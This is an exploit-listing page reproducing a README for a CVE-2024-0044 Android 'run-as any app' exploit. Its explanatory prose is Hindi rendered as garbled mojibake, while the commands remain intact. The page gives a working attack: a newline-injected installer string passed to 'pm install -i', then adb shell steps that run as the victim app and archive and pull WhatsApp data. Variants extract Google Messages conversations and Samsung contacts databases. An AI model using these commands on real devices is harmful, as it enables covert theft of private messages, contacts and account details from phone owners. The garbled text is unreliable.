Sploitus

Exploit for cve_2024_0044

kitploit ┬╖ 2026-08-26

Exploit Code

MARKDOWN149 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HUNTER24X24-CVE_2024_0044
## CVE 2024 0044

CVE-2024-0044, рдЬреЛ PackageInstallerService.java рдлрд╝рд╛рдЗрд▓ рдХреЗ createSessionInternal рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЧрдпрд╛ рд╣реИ, рдПрдХ рдЙрдЪреНрдЪ-рдЧрдВрднреАрд░рддрд╛ рд╡рд╛рд▓реА рдХрдордЬрд╝реЛрд░реА рд╣реИ рдЬреЛ Android рд╕рдВрд╕реНрдХрд░рдг 12 рдФрд░ 13 рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИред рдпрд╣ рдХрдордЬрд╝реЛрд░реА рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ "run-as any app" рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рд╣рднрд╛рдЧрд┐рддрд╛ рдХреЗ рдмрд┐рдирд╛ рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╣реЛрддреА рд╣реИред рдпрд╣ рд╕рдорд╕реНрдпрд╛ createSessionInternal рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдЕрдиреБрдЪрд┐рдд рдЗрдирдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рдХреЗ рдХрд╛рд░рдг рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд╕рддреНрд░ рдирд┐рд░реНрдорд╛рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ рдЗрд╕рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рддрдХ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдкреНрд░рднрд╛рд╡рд┐рдд рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдЕрдирдзрд┐рдХреГрдд рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕ рд╢реЛрд╖рдг рдХреА рдЦреЛрдЬ Meta security рджреНрд╡рд╛рд░рд╛ рдХреА рдЧрдИ рдереАред

рдкреНрд░реВрдл рдСрдл рдХреЙрдиреНрд╕реЗрдкреНрдЯ рдХреЛ Tiny hack рджреНрд╡рд╛рд░рд╛ рд╕рдВрдХреНрд╖реЗрдкрд┐рдд рдФрд░ рд╕рд╛рдЭрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рд╕реБрд░рдХреНрд╖рд╛ рдкреИрдЪ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╡рд░рдг Android security bulletin рдкрд░ рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред

## рдкреВрд░реНрд╡рд╛рдкреЗрдХреНрд╖рд╛рдПрдБ

  1. рдЕрдкрдиреЗ рдореЛрдмрд╛рдЗрд▓ рдлреЛрди рдореЗрдВ USB рдбрд┐рдмрдЧрд┐рдВрдЧ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ USB рдХреЗрдмрд▓ рдпрд╛ рд╡рд╛рдпрд░рд▓реЗрд╕ рдбрд┐рдмрдЧрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреА рдорд╢реАрди рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВред
  2. рдЕрдкрдиреА рдорд╢реАрди рдкрд░ рдХреЛрдИ рднреА APK рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ, рдЖрдк F-DROID рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред



## рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ

root@kitploit:~
    
    
    python3 cve_2024_0044.py -h
                                                                                   
    ##########################################################################################
    ###############S%%#####################################################%%S################
    ###############%++*S##################################################?++?################
    ################%++*S###############################################S*++?#################
    #################%+++%#############################################S*++%##################
    ##################S*++%###########################################%+++%###################
    ###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
    #####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
    ######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
    ###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
    #################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
    ##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
    ############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
    ##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
    #########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
    #######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
    ######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
    #####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
    ####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
    ###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
    ##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
    ##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
    #%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
    #*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
    S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#      
            
    usage: cve_2024_0044.py [-h] -P P -A A
    
    CVE-2024-0044: run-as any app @Pl4int3xt
    
    options:
      -h, --help  show this help message and exit
      -P P        package name (default: None)
      -A A        apk file path (default: None)
    

`-P` рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрд╕ рд▓рдХреНрд╖реНрдп рдкреИрдХреЗрдЬ рдирд╛рдо рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдХреЗ рд░реВрдк рдореЗрдВ рдЖрдк рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред

`-A` рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рдкреБрд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП APK рдлрд╝рд╛рдЗрд▓ рдкрде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред

## рд╢реЛрд╖рдг

рдЯреВрд▓ рдЪрд▓рд╛рдПрдБ: `python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk`

рдЗрд╕ рддрд░рд╣ рдПрдХ `payload.txt` рдлрд╝рд╛рдЗрд▓ рдЙрддреНрдкрдиреНрди рд╣реЛрдЧреА:

root@kitploit:~
    
    
    PAYLOAD="@null
    victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
    pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
    

#### рдЯреВрд▓ рдХреБрдЫ рднрд╛рдЧреЛрдВ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдиреНрдп рднрд╛рдЧ рдореИрдиреБрдЕрд▓ рд╣реИрдВред рдЖрдк рдкреЗрд▓реЛрдб рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдмрд╛рд╣рд░ рдирд┐рдХрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рднреА рдХрдорд╛рдВрдб рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд╕рд╛рде рдЬрд╛рд░реА рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВред

### рдЗрд╕рдХреЗ рдмрд╛рдж рдЖрдкрдХреЛ adb shell рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреЗ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдкреЗрд▓реЛрдб рдкреЗрд╕реНрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдЕрдВрддрд┐рдо рдХрдорд╛рдВрдб рдХреЗ рдмрд╛рдж рдЖрдкрдХреЛ `Success` рд╕рдВрджреЗрд╢ рд╡рд╛рдкрд╕ рдорд┐рд▓реЗред

root@kitploit:~
    
    
    pl4int3xt ~>  adb shell
    pixel:/ $ PAYLOAD="@null
    > victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
    pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
    Success
    

### рдЗрд╕рдХреЗ рдмрд╛рдж рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реНрд╣рд╛рдЯреНрд╕рдПрдк рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ:

root@kitploit:~
    
    
    pixel:/ $ mkdir /data/local/tmp/wa/                                                                            
    pixel:/ $ touch /data/local/tmp/wa/wa.tar
    pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
    pixel:/ $ run-as victim
    pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
    

рдПрдХ рдЕрд╕реНрдерд╛рдпреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдмрдирд╛рдПрдБ: `mkdir /data/local/tmp/wa/`

рдПрдХ tar рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдкреНрд▓реЗрд╕рд╣реЛрд▓реНрдбрд░ рдмрдирд╛рдПрдБ: `touch /data/local/tmp/wa/wa.tar`

рд╡реНрдпрд╛рдкрдХ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╕реЗрдЯ рдХрд░реЗрдВ: `chmod -R 0777 /data/local/tmp/wa/` рддрд╛рдХрд┐ рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рднреАрддрд░ рдкрдврд╝, рд▓рд┐рдЦ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХреЗред

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдВрджрд░реНрдн рдмрджрд▓реЗрдВ: `run-as victim` рддрд╛рдХрд┐ "victim" рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рдорд╛рди рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХреЗрдВред

рд▓рдХреНрд╖реНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрдЧреНрд░рд╣рд┐рдд рдХрд░реЗрдВ: `tar -cf /data/local/tmp/wa/wa.tar com.whatsapp`, рд╡реНрд╣рд╛рдЯреНрд╕рдПрдк рдбреЗрдЯрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХрд╛ рдПрдХ tarball рдмрдирд╛рддреЗ рд╣реБрдПред

### рдЕрдВрдд рдореЗрдВ рдбреЗрдЯрд╛ рдЦреАрдВрдЪреЗрдВ

`adb pull /data/local/tmp/wa/wa.tar`

рдЖрдк `7z` рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред

рдЖрдк рдЗрд╕реЗ HTML рдореЗрдВ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП Whatsapp chat exporter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╣ рдЖрдкрдХреЛ рдЕрдкрдиреЗ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд░реВрдЯ рдПрдХреНрд╕реЗрд╕ рдХреЗ рдмрд┐рдирд╛ рд╡реНрд╣рд╛рдЯреНрд╕рдПрдк рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

# Google Messages рдЦреАрдВрдЪрдирд╛

рдмрд╕ рдкреИрдХреЗрдЬ рдирд╛рдо рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдмрджрд▓реЗрдВ:

root@kitploit:~
    
    
    plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
    loads/F-Droid.apk
    

рдЙрдкрд░реЛрдХреНрдд рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ рдФрд░ `wa.tar` рдлрд╝рд╛рдЗрд▓ рдЦреАрдВрдЪрдиреЗ рдХреЗ рдмрд╛рдж рдЗрд╕реЗ рдЕрдирдЯрд╛рд░ рдХрд░реЗрдВ рдФрд░ sqlitebrowser рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ `com.google.android.apps.messaging/databases/bugle_db` рдореЗрдВ рдмрд╛рддрдЪреАрдд рдЦреЛрд▓реЗрдВред

# рд╕рдВрдкрд░реНрдХ рдЦреАрдВрдЪрдирд╛

Samsung рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд▓рд┐рдП рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдЕрдиреНрдп рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрдкрд░реНрдХ рдкреНрд░рджрд╛рддрд╛ рдХрд╛ рдкреИрдХреЗрдЬ рдирд╛рдо рдЬрд╛рдБрдЪреЗрдВред

root@kitploit:~
    
    
    plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
    

рдЙрдкрд░реЛрдХреНрдд рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ рдФрд░ `wa.tar` рдлрд╝рд╛рдЗрд▓ рдЦреАрдВрдЪрдиреЗ рдХреЗ рдмрд╛рдж рдЗрд╕реЗ рдЕрдирдЯрд╛рд░ рдХрд░реЗрдВ рдФрд░ sqlitebrowser рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ `com.samsung.android.providers.contacts/databases/contacts2.db` рдореЗрдВ рд╕рдВрдкрд░реНрдХ рдЦреЛрд▓реЗрдВред db рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдВрдкрд░реНрдХ рд╕реВрдЪреА рдХреЗ рд╕рд╛рде рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдИрдореЗрд▓ рдЦрд╛рддреЛрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИред